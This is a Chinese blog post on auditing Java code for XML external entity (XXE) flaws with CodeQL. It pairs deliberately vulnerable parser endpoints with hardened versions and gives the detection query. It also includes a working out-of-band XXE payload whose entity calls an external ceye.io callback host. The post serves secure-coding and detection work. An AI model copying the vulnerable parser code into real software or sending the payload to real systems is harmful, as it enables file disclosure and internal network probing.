前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CodeQL进行JAVA代码审计(1) --- XXE漏洞的挖掘

CodeQL进行JAVA代码审计(1) --- XXE漏洞的挖掘

原创
作者头像
半月弧
修改2020-04-27 09:54:33
3.2K2
修改2020-04-27 09:54:33
举报
文章被收录于专栏:半月弧のhome半月弧のhome

漏洞介绍:

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

漏洞成因:

Java有许多XML解析器,其中大多数容易受到XXE的攻击,因为它们的默认设置支持外部实体的解析。接下来我们构造一个QL query能够从下面的XML解析器列表中识别出带有漏洞的XML解析器。

javax.xml.parsers.DocumentBuilder

javax.xml.stream.XMLStreamReader

org.jdom.input.SAXBuilder

org.jdom2.input.SAXBuilder

javax.xml.parsers.SAXParser

org.dom4j.io.SAXReader

org.xml.sax.XMLReader

javax.xml.transform.sax.SAXSource

javax.xml.transform.TransformerFactory

javax.xml.transform.sax.SAXTransformerFactory

javax.xml.validation.SchemaFactory

javax.xml.bind.Unmarshaller

javax.xml.xpath.XPathExpression

代码解析

XMLReader

漏洞代码

使用默认的解析方法会存在XXE问题

代码语言:javascript
复制
@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
        return "xmlReader xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方法

代码语言:javascript
复制
@RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
public String xmlReaderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        // fix code start
        xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
        xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        //fix code end
        xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "xmlReader xxe security code";
}

DocumentBuilderFactory

漏洞代码

在下面这个例子中调用了documentBuilder中的parse函数,该DocumentBuilder没有对不受信任的输入数据进行安全配置,所以造成了XXE漏洞

代码语言:java
复制
public void parse(Socket sock) throws Exception {
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  DocumentBuilder builder = factory.newDocumentBuilder();
  builder.parse(sock.getInputStream()); //unsafe
}

修复方法

下面我们看下如何在代码中避免XXE漏洞的攻击,在本例中,DocumentBuilder是在禁用DTD的情况下创建的,从而保护它不受XXE攻击。

代码语言:javascript
复制
public void disableDTDParse(Socket sock) throws Exception {
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  //禁用XML中的DTD
  factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  DocumentBuilder builder = factory.newDocumentBuilder();
  builder.parse(sock.getInputStream()); //safe
}

SAXBuilder

漏洞代码

代码语言:javascript
复制
@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXBuilder builder = new SAXBuilder();
        // org.jdom2.Document document
        builder.build(new InputSource(new StringReader(body)));  // cause xxe
        return "SAXBuilder xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方法

代码语言:javascript
复制
@RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
public String SAXBuilderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXBuilder builder = new SAXBuilder();
        builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        // org.jdom2.Document document
        builder.build(new InputSource(new StringReader(body)));

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "SAXBuilder xxe security code";
}

SAXReader

漏洞代码

代码语言:javascript
复制
@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXReader reader = new SAXReader();
        // org.dom4j.Document document
        reader.read(new InputSource(new StringReader(body))); // cause xxe

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "SAXReader xxe vuln code";
}

修复方式

代码语言:javascript
复制
@RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
public String SAXReaderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXReader reader = new SAXReader();
        reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        // org.dom4j.Document document
        reader.read(new InputSource(new StringReader(body)));
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "SAXReader xxe security code";
}

SAXParser

漏洞代码

代码语言:javascript
复制
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXParserFactory spf = SAXParserFactory.newInstance();
        SAXParser parser = spf.newSAXParser();
        parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

        return "SAXParser xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方式

代码语言:javascript
复制
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXParserFactory spf = SAXParserFactory.newInstance();
        spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        SAXParser parser = spf.newSAXParser();
        parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "SAXParser xxe security code";
}

Digester

漏洞代码

代码语言:javascript
复制
@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        Digester digester = new Digester();
        digester.parse(new StringReader(body));  // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "Digester xxe vuln code";
}

修复方式

代码语言:javascript
复制
@RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
public String DigesterSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        Digester digester = new Digester();
        digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
        digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        digester.parse(new StringReader(body));  // parse xml

        return "Digester xxe security code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

DocumentBuilder

漏洞代码

代码语言:javascript
复制
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body);
        InputSource is = new InputSource(sr);
        Document document = db.parse(is);  // parse xml

        // 遍历xml节点name和value
        StringBuilder buf = new StringBuilder();
        NodeList rootNodeList = document.getChildNodes();
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList child = rootNode.getChildNodes();
            for (int j = 0; j < child.getLength(); j++) {
                Node node = child.item(j);
                buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
            }
        }
        sr.close();
        return buf.toString();
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方式

代码语言:javascript
复制
@RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
public String DocumentBuilderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body);
        InputSource is = new InputSource(sr);
        db.parse(is);  // parse xml
        sr.close();
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "DocumentBuilder xxe security code";
}

DocumentHelper

漏洞代码

代码语言:javascript
复制
@PostMapping("/DocumentHelper/vuln")
public String DocumentHelper(HttpServletRequest req) {
    try {
        String body = WebUtils.getRequestBody(req);
        DocumentHelper.parseText(body); // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "DocumentHelper xxe vuln code";
}

修复方式

代码语言:javascript
复制
复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。

漏洞利用和回显

在这里我们使用知道创宇的漏洞回显平台http://ceye.io/

首先我们从profile里得到下面的数据:

然后拼装自己的payload,用identifier替换xxxxxx

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxxxxx.ceye.io/xxe_test">
%remote;]>
<root/>

发送数据包:

查看tomcat的日志记录,可以看到XML DTD中包含的命令被执行:

在平台上观察回显记录

QL语法找出XXE漏洞

先给出整个Query语句,因为造成XXE漏洞的组建较多,下面我们选一个比较常用的SAXParser的组建

代码语言:javascript
复制
/**
 * @name Resolving XML external entity in user-controlled data
 * @description Parsing user-controlled XML documents and allowing expansion of external entity
 * references may lead to disclosure of confidential data or denial of service.
 * @kind path-problem
 * @problem.severity error
 * @precision high
 * @id java/xxe
 * @tags security
 *       external/cwe/cwe-611
 */

import java
import semmle.code.java.security.XmlParsers
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow::PathGraph

class SafeSAXSourceFlowConfig extends TaintTracking2::Configuration {
  SafeSAXSourceFlowConfig() { this = "XmlParsers::SafeSAXSourceFlowConfig" }

  override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof SafeSAXSource }

  override predicate isSink(DataFlow::Node sink) {
    sink.asExpr() = any(XmlParserCall parse).getSink()
  }

  override int fieldFlowBranchLimit() { result = 0 }
}

class UnsafeXxeSink extends DataFlow::ExprNode {
  UnsafeXxeSink() {
    not exists(SafeSAXSourceFlowConfig safeSource | safeSource.hasFlowTo(this)) and
    exists(XmlParserCall parse |
      parse.getSink() = this.getExpr() and
      not parse.isSafe()
    )
  }
}

class XxeConfig extends TaintTracking::Configuration {
  XxeConfig() { this = "XXE.ql::XxeConfig" }

  override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

  override predicate isSink(DataFlow::Node sink) { sink instanceof UnsafeXxeSink }
}

from DataFlow::PathNode source, DataFlow::PathNode sink, XxeConfig conf
where conf.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "Unsafe parsing of XML file from $@.", source.getNode(),
  "user input"

Query部分

目的

具体描述

LInks

import java

导入java标准库

每个查询都以一个或多个import语句开始

导入XML解析器module

提供用于在Java中建模XML解析器的类和谓词

污点追踪

提供表示污染跟踪的各种流源的类

污点分析

提供用于执行局部(过程内)和全局(过程间)污染跟踪分析的类。

import DataFlow::PathGraph

数据流追踪

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞介绍:
  • 漏洞成因:
  • 代码解析
    • XMLReader
      • 漏洞代码
      • 修复方法
    • DocumentBuilderFactory
      • 漏洞代码
      • 修复方法
    • SAXBuilder
      • 漏洞代码
      • 修复方法
    • SAXReader
      • 漏洞代码
      • 修复方式
    • SAXParser
      • 漏洞代码
      • 修复方式
    • Digester
      • 漏洞代码
      • 修复方式
    • DocumentBuilder
      • 漏洞代码
      • 修复方式
    • DocumentHelper
      • 漏洞代码
      • 修复方式
  • 漏洞利用和回显
  • QL语法找出XXE漏洞
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档